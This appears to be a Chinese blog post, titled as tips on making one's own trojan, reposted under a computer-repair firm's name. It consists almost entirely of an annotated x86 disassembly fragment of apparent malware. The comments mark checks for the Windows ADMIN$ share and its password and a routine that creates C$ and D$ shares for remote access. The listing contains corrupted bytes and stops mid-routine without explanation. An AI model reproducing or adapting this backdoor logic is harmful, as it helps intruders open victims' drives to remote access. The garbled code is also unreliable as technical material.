自己做木马的一点心得

  034B9 loc_0427: ; xref 0353B, 3564, 356F, 35F6
  ; 3611
  034B9 66| 8B 53 0E mov dx,word ptr [ebx+0Eh]
  034BD 66| 39 53 0C cmp word ptr [ebx+0Ch],dx
  034C1 76 B2 jbe loc_0423 ; Jump if below or =
  034C3 loc_0428: ; xref 03528
  034C3 8B 0D 00011B34 mov ecx,dword ptr data_0170 ; (11B34=0)
  034C9 85 C9 test ecx,ecx
  034CB 74 56 jz short loc_0431 ; Jump if zero
  034CD 8B 01 mov eax,[ecx]
  034CF A3 00011B34 mov data_0170,eax ; (11B34=0)
  034D4 66| FF 43 0E inc word ptr [ebx+0Eh]
  034D8 89 59 0C mov dword ptr [ecx+0Ch],ebx
  034DB C6 41 14 03 mov byte ptr [ecx+14h],3
  034DF 8A 41 17 mov al,byte ptr [ecx+17h]
  034E2 04 08 add al,8
  034E4 0C C0 or al,0C0h
  034E6 88 41 17 mov byte ptr [ecx+17h],al
  034E9 C6 41 15 00 mov byte ptr [ecx+15h],0
  034ED 8B 34 24 mov esi,[esp]
  034F0 F6 46 1F 08 test byte ptr [esi+1Fh],8
  034F4 75 08 jnz short loc_0429 ; Jump if not zero
  034F6 A1 00011CC8 mov eax,data_0191 ; (11CC8=0FFFFF000h)
  034FB FF 40 10 inc dword ptr [eax+10h]
  034FE loc_0429: ; xref 034F4
  034FE 5E pop esi
  034FF 81 7B 11 494D4441 cmp dword ptr [ebx+11h],494D4441h ;ADMIN$ ?
  03506 75 0E jne short loc_0430 ; Jump if not equal
  03508 66| 81 7B 15 244E cmp word ptr [ebx+15h],244Eh
  0350E 75 06 jne short loc_0430 ; Jump if not equal
  03510 80 7B 17 00 cmp byte ptr [ebx+17h],0
  03514 74 61 je short loc_0435 ; Jump if equal
  03516 loc_0430: ; xref 03506, 350E, 3584
  03516 B8 00011CD4 mov eax,11CD4h
  0351B E8 000056BC call sub_0130 ; (08BDC)
  03520 85 DB test ebx,ebx
  03522 C3 retn
  03523 loc_0431: ; xref 034CB
  03523 E8 00000190 call sub_0028 ; (036B8)
  03528 73 99 jnc loc_0428 ; Jump if carry=0
  0352A EB 00 jmp short loc_0432 ; (0352C)
  0352C loc_0432: ; xref 0352A
  0352C 5F pop edi
  0352D B8 00590002 mov eax,590002h
  03532 F9 stc ; Set carry flag
  03533 C3 retn
  03534 loc_0433: ; xref 034A5
  03534 8B 34 24 mov esi,[esp]
  03537 F6 46 1F 01 test byte ptr [esi+1Fh],1
  0353B 0F 85 FFFFFF78 jnz loc_0427 ; Jump if not zero
  03541 loc_0434: ; xref 03575, 358F
  03541 ?B D3 mov edx,ebx
  03543 BB 0000000B mov ebx,0Bh
  03548 B8 00050001 mov eax,50001h
  0354D E9 FFFFFF1C jmp loc_0421 ; (0346E)
  ;* No entry point to code
  03552 8B 3C 24 mov edi,[esp]
  03555 53 push ebx
  03556 8B 35 000128B8 mov esi,dword ptr data_0379 ; (128B8=0FFFFF000h)
  0355C E8 FFFFE407 call sub_0009 ; (01968)
  03561 5B pop ebx
  03562 0B ED or ebp,ebp ; Zero ?
  03564 0F 84 FFFFFF4F jz loc_0427 ; Jump if zero
  0356A 3E: 83 7D 10 00 cmp dword ptr ds:[ebp+ClientEBX],0
  0356F 0F 85 FFFFFF44 jne loc_0427 ; Jump if not equal
  03575 EB CA jmp short loc_0434 ; (03541)
  03577 loc_0435: ; xref 03514
  03577 F6 05 00012446 01 test byte ptr data_0317,1 ; (12446=0)
  0357E 74 11 jz short loc_0436 ; Jump if zero
  03580 F6 46 1F 01 test byte ptr [esi+1Fh],1
  03584 75 90 jnz loc_0430 ; NOT ADMIN$ Jump if not zero
  03586 66| FF 4B 0E dec word ptr [ebx+0Eh]
  0358A C6 41 14 00 mov byte ptr [ecx+14h],0
  0358E 56 push esi
  0358F EB B0 jmp short loc_0434 ; (03541)
  03591 loc_0436: ; xref 0357E
  03591 80 4E 1F 01 or byte ptr [esi+1Fh],1
  03595 C6 41 15 01 mov byte ptr [ecx+15h],1
  03599 8B FE mov edi,esi
  0359B 8B 35 000128B8 mov esi,dword ptr data_0379 ; (128B8=0FFFFF000h)
  035A1 83 3D 000134E0 00 cmp dword ptr data_0431,0 ; C$,D$ HAVE BEEN SHARED(134E0=0)
  035A8 75 14 jne short loc_0437 ; Jump if not equal
  035AA 52 push edx
  035AB 51 push ecx
  035AC 8D 4B 1E lea ecx,dword ptr [ebx+1Eh];THE ADMIN$ PASSWORD
  035AF ?1 push ecx ; PARAMETER_1 if ecx=0 no password
  035B0 E8 0000856F call sub_0230 ;MAKE C$,D$SHARE (0BB24)
  035B5 59 pop ecx
  035B6 59 pop ecx
  035B7 5A pop edx
  035B8 FF 05 000134E0 inc dword ptr data_0431 ; (134E0=0)
  035BE loc_0437: ; xref 035A8
  035BE 53 push ebx
  035BF E8 FFFFE3A4 call sub_0009 ; (01968)
  035C4 72 13 jc short loc_0438 ; Jump if carry Set
  035C6 8B 3D 00011CCC mov edi,dword ptr data_0192 ; (11CCC=0FFFFF000h)
  035CC 8B BF 000000E2 mov edi,dword ptr ds:[0E2h][edi] ; (000E2=358B0000h)
  035D2 89 7B 04 mov dword ptr [ebx+4],edi
  035D5 5B pop ebx
  035D6 85 DB test ebx,ebx
  035D8 C3 retn
  035D9 loc_0438: ; xref 035C4
  035D9 5A pop edx
  035DA C6 41 14 00 mov byte ptr [ecx+14h],0
  035DE BB 0000000C mov ebx,0Ch
  035E3 B8 00010002 mov eax,10002h
  035E8 E9 FFFFFE81 jmp loc_0421 ; (0346E)
  035ED loc_0439: ; xref 034B3
  035ED 75 28 jnz short loc_0440 ; Jump if not zero
  035EF 8B 34 24 mov esi,[esp]
  035F2 F6 46 1F 01 test byte ptr [esi+1Fh],1
  035F6 0F 85 FFFFFEBD jnz loc_0427 ; Jump if not zero
  035FC 81 7B 11 494D4441 cmp dword ptr [ebx+11h],494D4441h
  03603 75 12 jne short loc_0440 ; Jump if not equal
  03605 66| 81 7B 15 244E cmp word ptr [ebx+15h],244Eh
  0360B 75 0A jne short loc_0440 ; Jump if not equal
  0360D 80 7B 17 00 cmp byte ptr [ebx+17h],0
  03611 0F 84 FFFFFEA2 je loc_0427 ; Jump if equal
  03617 loc_0440: ; xref 035ED, 3603, 360B
  03617 B8 00510002 mov eax,510002h
  0361C 5F pop edi
  0361D F9 stc ; Set carry flag
  0361E C3 retn
  sub_0026 endp
  好了我就说这么多了～～我也说不了几多～～玄色杀手什么也杀不了
 

文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明：原创作品，允许转载，转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:

评论加载中... 内容： 评论者： 验证码：